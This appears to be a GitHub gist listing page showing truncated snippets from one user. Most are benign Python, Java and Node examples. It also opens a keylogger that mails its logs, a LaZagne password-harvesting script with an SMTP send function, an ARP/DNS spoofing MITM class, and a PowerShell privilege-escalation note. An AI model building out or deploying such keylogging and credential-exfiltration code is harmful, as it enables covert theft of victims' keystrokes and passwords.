Skip to content

Instantly share code, notes, and snippets.

View davidlares's full-sized avatar
🎯
Focusing

David E Lares S davidlares

🎯
Focusing
View GitHub Profile
@davidlares
davidlares / callback.py
Created February 2, 2026 01:19
Python's Thread-based HTTP request using callbacks
import threading
import requests
import logging
# logging configuration
logging.basicConfig(
level=logging.DEBUG,
format='%(thread)s %(threadName)s : %(message)s'
)
@davidlares
davidlares / logging.py
Created February 2, 2026 00:34
Python's logging module example
import logging
# logging - test apps (debug 10, info 20, warning 30, error 40, critical 50)
# changing Logging configuration for 10 and 20 messages
logging.basicConfig(
level=logging.DEBUG, # = 10
format='%(filename)s - %(asctime) - %(message)s %(funcName)s - %(levelname)s',
datefmt="%H:%M:%S",
filename='messages.txt',
@davidlares
davidlares / keylogs.py
Last active January 27, 2025 09:30
An outdated python Keylogger
from pynput import keyboard
import threading
import smtplib
class KeyLogger:
def __init__(self, time_interval, email, username, password):
self.log = "KeyLogger started"
self.interval = time_interval
self.username = username
@davidlares
davidlares / password.py
Created February 2, 2023 00:20
Running LaZagne programatically /w Python
import subprocess, smtplib, os, tempfile, requests
def send_email(email, username, password, message):
# instance
server = smtplib.SMTP("smtp.mailtrap.io", 587)
server.starttls()
server.login(username, password) # login
server.sendmail(email, email, message) # sending message
server.quit()
@davidlares
davidlares / Client.java
Created February 1, 2023 23:02
Java multi-client chat PoC (from youtube video)
import java.util.Scanner;
import java.net.Socket;
import java.io.*;
public class Client {
// elements
private Socket socket;
private BufferedReader bufferedReader;
private BufferedWriter bufferedWriter;
private String username;
@davidlares
davidlares / node-msi.iss
Last active August 7, 2022 05:01
Node's MSI binary install function for Inno Setup
[Code]
procedure RunNodeInstaller;
var
ErrorCode: Integer;
begin
if not ShellExec('', 'msiexec.exe', ExpandConstant('/i "{app}\{#NodeInstaller}" /qb'), '', SW_SHOWNORMAL, ewWaitUntilTerminated, ErrorCode) then
begin
MsgBox(IntToStr(ErrorCode), mbError, MB_OK);
end;
end;
@davidlares
davidlares / dns.md
Last active July 28, 2022 05:08
Powershell script for editing local DNS (hosts file) on Windows (contain priv. escalation)

File: setup.ps1

(Scaling privileges and local DNS edit)

This script is adapted to perform a privilege escalation and a custom edition of the local DNS hosts file on Windows machines, located in the C:\Windows\system32\drivers\etc\ directory.

Execution

  1. Changing the default's Restricted ExecutionPolicy to Bypass for the CurrentUser Scope.
@davidlares
davidlares / index.js
Last active July 26, 2022 17:34
NodeJS' child_process (fork & exec) functions PoC
const {fork} = require('child_process')
const path = require('path')
let cmd = fork(path.join(__dirname, 'run.js'), [], {cwd: process.cwd(), stdio: ['pipe', 'ipc']})
// sending
cmd.send('david')
// receiving
cmd.on('message', (data) => {
console.log(data) // Hello david
})
@davidlares
davidlares / arp.py
Last active January 3, 2026 01:45
MITM ARP/DNS Spoof with Scapy
#!/usr/bin/python
from scapy.all import *
import threading
import argparse
import pdb
import sys
import os
class ARPPoisoning(threading.Thread):
@davidlares
davidlares / smtp-enumeration.md
Created July 19, 2021 03:40
SMTP Enumeration script

SMTP Enumeration

SMTP is a text protocol used to send emails, it allows you to send commands so a server can understand.

it uses port 25 and certainly, it does not support packet encryption when exchanging.

There's also a bunch of commands that are used in a restrictive mode, it can expose sensitive data.

Example: